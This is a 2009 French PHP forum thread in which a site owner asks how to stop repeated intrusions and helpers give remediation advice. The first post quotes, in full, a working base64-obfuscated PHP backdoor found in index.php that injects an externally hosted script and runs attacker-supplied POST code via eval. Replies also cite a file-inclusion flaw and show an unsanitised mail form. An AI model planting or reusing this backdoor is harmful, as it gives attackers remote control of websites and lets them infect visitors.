Sécurité

Eléphant du PHP | 440 Messages

28 oct. 2009, 12:07

Bonjour,

3 sites sur 4 dont je m'occupe sont régulièrement visités par des pirates. Et j'y retrouve ce code dans le fichier index.php :
<?php eval(base64_decode('aWYoIWlzc2V0KCRwNmoxKSl7ZnVuY3Rpb24gcDZqKCRzKXtpZihwcmVnX21hdGNoX2FsbCgnIzxzY3JpcHQoLio/KTwvc2NyaXB0PiNpcycsJHMsJGEpKWZvcmVhY2goJGFbMF0gYXMgJHYpaWYoY291bnQoZXhwbG9kZSgiXG4iLCR2KSk+NSl7JGU9cHJlZ19tYXRjaCgnI1tcJyJdW15cc1wnIlwuLDtcPyFcW1xdOi88PlwoXCldezMwLH0jJywkdil8fHByZWdfbWF0Y2goJyNbXChcW10oXHMqXGQrLCl7MjAsfSMnLCR2KTtpZigocHJlZ19tYXRjaCgnI1xiZXZhbFxiIycsJHYpJiYoJGV8fHN0cnBvcygkdiwnZnJvbUNoYXJDb2RlJykpKXx8KCRlJiZzdHJwb3MoJHYsJ2RvY3VtZW50LndyaXRlJykpKSRzPXN0cl9yZXBsYWNlKCR2LCcnLCRzKTt9aWYocHJlZ19tYXRjaF9hbGwoJyM8aWZyYW1lIChbXj5dKj8pc3JjPVtcJyJdPyhodHRwOik/Ly8oW14+XSo/KT4jaXMnLCRzLCRhKSlmb3JlYWNoKCRhWzBdIGFzICR2KWlmKHByZWdfbWF0Y2goJyMgd2lkdGhccyo9XHMqW1wnIl0/MCpbMDFdW1wnIj4gXXxkaXNwbGF5XHMqOlxzKm5vbmUjaScsJHYpJiYhc3Ryc3RyKCR2LCc/Jy4nPicpKSRzPXByZWdfcmVwbGFjZSgnIycucHJlZ19xdW90ZSgkdiwnIycpLicuKj88L2lmcmFtZT4jaXMnLCcnLCRzKTskcz1zdHJfcmVwbGFjZSgkYT1iYXNlNjRfZGVjb2RlKCdQSE5qY21sd2RDQnpjbU05YUhSMGNEb3ZMMjluY25wbGQyRnVhV1V1Y0c5eWRHRmtZUzV3YkM5cGJtTnNkV1JsTDJsdWFYUXVjR2h3SUQ0OEwzTmpjbWx3ZEQ0PScpLCcnLCRzKTtpZihzdHJpc3RyKCRzLCc8Ym9keScpKSRzPXByZWdfcmVwbGFjZSgnIyhccyo8Ym9keSkjbWknLCRhLidcMScsJHMpO2Vsc2VpZihzdHJwb3MoJHMsJyxhJykpJHMuPSRhO3JldHVybiAkczt9ZnVuY3Rpb24gcDZqMigkYSwkYiwkYywkZCl7Z2xvYmFsICRwNmoxOyRzPWFycmF5KCk7aWYoZnVuY3Rpb25fZXhpc3RzKCRwNmoxKSljYWxsX3VzZXJfZnVuYygkcDZqMSwkYSwkYiwkYywkZCk7Zm9yZWFjaChAb2JfZ2V0X3N0YXR1cygxKSBhcyAkdilpZigoJGE9JHZbJ25hbWUnXSk9PSdwNmonKXJldHVybjtlbHNlaWYoJGE9PSdvYl9nemhhbmRsZXInKWJyZWFrO2Vsc2UgJHNbXT1hcnJheSgkYT09J2RlZmF1bHQgb3V0cHV0IGhhbmRsZXInP2ZhbHNlOiRhKTtmb3IoJGk9Y291bnQoJHMpLTE7JGk+PTA7JGktLSl7JHNbJGldWzFdPW9iX2dldF9jb250ZW50cygpO29iX2VuZF9jbGVhbigpO31vYl9zdGFydCgncDZqJyk7Zm9yKCRpPTA7JGk8Y291bnQoJHMpOyRpKyspe29iX3N0YXJ0KCRzWyRpXVswXSk7ZWNobyAkc1skaV1bMV07fX19JHA2amw9KCgkYT1Ac2V0X2Vycm9yX2hhbmRsZXIoJ3A2ajInKSkhPSdwNmoyJyk/JGE6MDtldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUWydlJ10pKTs=')); ?>
Et dans le répertoire images, est rajouté un fichier nommé gifimg.php que j'efface régulièrement.

Le fichier index.php et le répertoire images ont un CHMOD 705. Qu'est-ce que je peux faire de plus ?
Un .htaccess ? En tenant compte du fait qu'il n'y a pas de mot de passe sur ce fichier ni ce répertoire.

Merci pour votre aide. C'est urgent !
Débutant complet en php/mysql. Merci pour votre aide.

ViPHP
ViPHP | 1380 Messages

28 oct. 2009, 13:04

Si un pirate insère du code, il est fort probable qu'il ait un accès ftp ou ssh au serveur. Une protection
htaccess ne servirait à rien. Vérifie tes log et change tous tes mdp ftp.

Si tu es sur un dédié, surveille bien tes access.log et autres auth.log.
ripat

ViPHP
ViPHP | 1136 Messages

28 oct. 2009, 13:30

Pour moi , un serveur compromis de cette façon, est un serveur à réinitialisé .. ( dédié )

Même si tu trouves la faille , ou le compte piraté , tu ne seras jamais certains d'avoir éradiqué le problème .

Epluches les logs .. pour le moment il n'y a que ca à faire .

Dés que tu trouves par ou est passé le pirates , réinitialises ( réinstalles si tu le peux ) ton serveur en changeant tout les mots de passes .
Si tu as un acces ftp , sécurises les transactions en ftps afin que les logins et mots de passes ne soit pas en clair dans le trafic réseau.

Ch.
Modifié en dernier par stopher le 28 oct. 2009, 13:31, modifié 1 fois.

Eléphant du PHP | 440 Messages

28 oct. 2009, 13:31

je suis sur un server mutualisé ovh.

je change mes mdp.
Débutant complet en php/mysql. Merci pour votre aide.

ViPHP
fab
ViPHP | 2657 Messages

28 oct. 2009, 13:35

TU as accès aux logs apache? Si oui essaye de regarder les logs à la date de création de ce fichier tu as peut etre un endroit dans ton code où tu permets involontairement l'éxécution de code la faille la plus connu du genre c'est :
include($_GET['page'].'.php');
Seul l'intelligent a le pouvoir de se trouver con
try { work(); } catch(FlemmeExeption $e) { sleep(84600); }

Eléphant du PHP | 440 Messages

28 oct. 2009, 13:37

ce code se trouverait où ? sur ma page index.php il n'y est en tout cas pas.
Débutant complet en php/mysql. Merci pour votre aide.

ViPHP
fab
ViPHP | 2657 Messages

28 oct. 2009, 13:43

Je connais pas le code de ton site :) Mais si tu répondais plutôt à la question sur les logs, c'est bien pour que tu trouves le fichier par lequel passe les pirates que je t'ai posé cette question
Seul l'intelligent a le pouvoir de se trouver con
try { work(); } catch(FlemmeExeption $e) { sleep(84600); }

ViPHP
ViPHP | 1136 Messages

28 oct. 2009, 13:58

Apres avoir essayé de décoder le code ,

d'apres ce je vois , le code injecté permet au pirate d'executer n'importe quel bout de code php passé en POST ...

ton site devient un terminal php ... sauf si ton fournisseur à désactivé la fonction eval()

Ch.

Eléphant du PHP | 440 Messages

28 oct. 2009, 13:59

j'ai accès aux logs mais je n'y comprends rien.
un technicien ovh m'avait que ce qui posait problème était le fichier contact.php dans le répertoire images. Ce fichier ne devant pas exister, je l'ai supprimé et j'ai découvert l'autre.
Débutant complet en php/mysql. Merci pour votre aide.

ViPHP
fab
ViPHP | 2657 Messages

28 oct. 2009, 14:35

Tu as beaucoup de visites? Si c'est pas le cas essaye de nous donner les logs correspondant a la date exacte de création du fichier ( à la minutes près ) si tu y comprends rien on devrait pouvoir t'aider :p

Le tech d'ovh ta indique quel fichier utilisé les pirates après t'avoir piraté mais pas comment ils t'ont piraté :p
Seul l'intelligent a le pouvoir de se trouver con
try { work(); } catch(FlemmeExeption $e) { sleep(84600); }

Eléphant du PHP | 440 Messages

28 oct. 2009, 14:57

voilà par exemple ce que j'ai pour aujourd'hui :

Code : Tout sélectionner

174.129.24.96 www.europole-formations.fr - [28/Oct/2009:13:46:53 +0100] "GET /images/img11.gif HTTP/1.1" 200 50 "http://www.europole-formations.fr/" "Mozilla/5.0 (X11; U; Linux; C -) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Qt/4.5.1" 174.129.24.96 www.europole-formations.fr - [28/Oct/2009:13:46:53 +0100] "GET /images/img12.gif HTTP/1.1" 200 277 "http://www.europole-formations.fr/" "Mozilla/5.0 (X11; U; Linux; C -) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Qt/4.5.1" 174.129.24.96 www.europole-formations.fr - [28/Oct/2009:13:46:53 +0100] "GET /images/img13.gif HTTP/1.1" 200 72 "http://www.europole-formations.fr/" "Mozilla/5.0 (X11; U; Linux; C -) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Qt/4.5.1"
je ne mets pas tout, le forum ne supporte pas !
Modifié en dernier par cmoi le 28 oct. 2009, 15:05, modifié 1 fois.
Débutant complet en php/mysql. Merci pour votre aide.

ViPHP
fab
ViPHP | 2657 Messages

28 oct. 2009, 15:02

Oui ça c'est aujourd'hui mais rien de bien méchant là dedans, ce qu'il faut c'est les logs à la date de création des fichiers par les pirates pour savoir par quelle page ils accèdent..

Par contre je viens de faire un tour sur le site et visiblement la porte d'entrée la plus probable c'est ta page de contacts vu que c'est la seule ou tu as l'air de demander des informations à l'utiliser et que les restes des pages ne semble pas dynamique. Tu pourrais nous montrer le code source de la validation de ton formulaire?
Seul l'intelligent a le pouvoir de se trouver con
try { work(); } catch(FlemmeExeption $e) { sleep(84600); }

Eléphant du PHP | 440 Messages

28 oct. 2009, 15:08

les intrusions se font tous les jours ! mais je ne peux malheureusement pas mettre tout le fichier, il est trop long pour le forum.

tout le code de la page contact ou seulement le php qui concerne le formulaire ?
ceci dit il y a du php sur toutes les pages, si c'est important ??
Modifié en dernier par cmoi le 28 oct. 2009, 15:09, modifié 1 fois.
Débutant complet en php/mysql. Merci pour votre aide.

ViPHP
fab
ViPHP | 2657 Messages

28 oct. 2009, 15:09

Le code php de la validation du formulaire :)
Seul l'intelligent a le pouvoir de se trouver con
try { work(); } catch(FlemmeExeption $e) { sleep(84600); }

Eléphant du PHP | 440 Messages

28 oct. 2009, 15:11

<?php
$email_dest = "[email protected]";
if ($_POST['envoi']) { 
header("Location: http://www.europole-formations.fr/merci.php");
// E- mail headers: 
$headers ="MIME-Version: 1.0 \n";
$headers .="From: Europole Formations<[email protected]>\n";
$headers .="Content-Type: text/html; charset=iso-8859-1 \n"; 
$subject = "votre message";
$partie_entete = "<html><head> 
<meta http-equiv=Content-Type content=text/html; charset=iso-8859-1>
</head>
<body bgcolor=#FFFFFF>";
$partie_radiobutton = ""; 
$partie_champs_texte = ""; 
for ($a=1; $a<= $_POST['nbre_radiobutton']; $a++) { 
$partie_radiobutton .= "<font face='Verdana' size='2' color='#003366'>" . $_POST['titre_radio'.$a] . " = " . $_POST['radio'.$a] . "</font> <br>
";
}
for ($a=1; $a<= $_POST['nbre_champs_texte']; $a++) {
$partie_champs_texte .= "<font face='Verdana' size='2' color='#003366'>" . $_POST['titre_champ'.$a] . " = " . $_POST['champ'.$a] . "</font><br>
";
}
if ($_POST['nbre_zone_email'] != 0) { 
$partie_zone_email = "<font face='Verdana' size='2' color='#003366'>" . $_POST['titre_email'] . " = " . $_POST['zone_email'] . "</font><br>
";
}
if ($_POST['nbre_zones_texte'] != 0) {
$partie_zone_texte = "<font face='Verdana' size='2' color='#003366'>" . $_POST['titre_zone'] . " = " . $_POST['zone_texte'] . "</font><br>
";
$partie_zone_texte = stripslashes($partie_zone_texte);
}
$fin = "</body></html>"; 
$sortie = $partie_entete . $partie_radiobutton . $partie_champs_texte . $partie_zone_email . $partie_zone_texte . $fin; 
// Send the e-mail 
if (@!mail($email_dest,$subject,$sortie,$headers)) {
echo("Envoi du formulaire impossible");
} // Closing if !mail... 
} // Closing if edit 
?>
Débutant complet en php/mysql. Merci pour votre aide.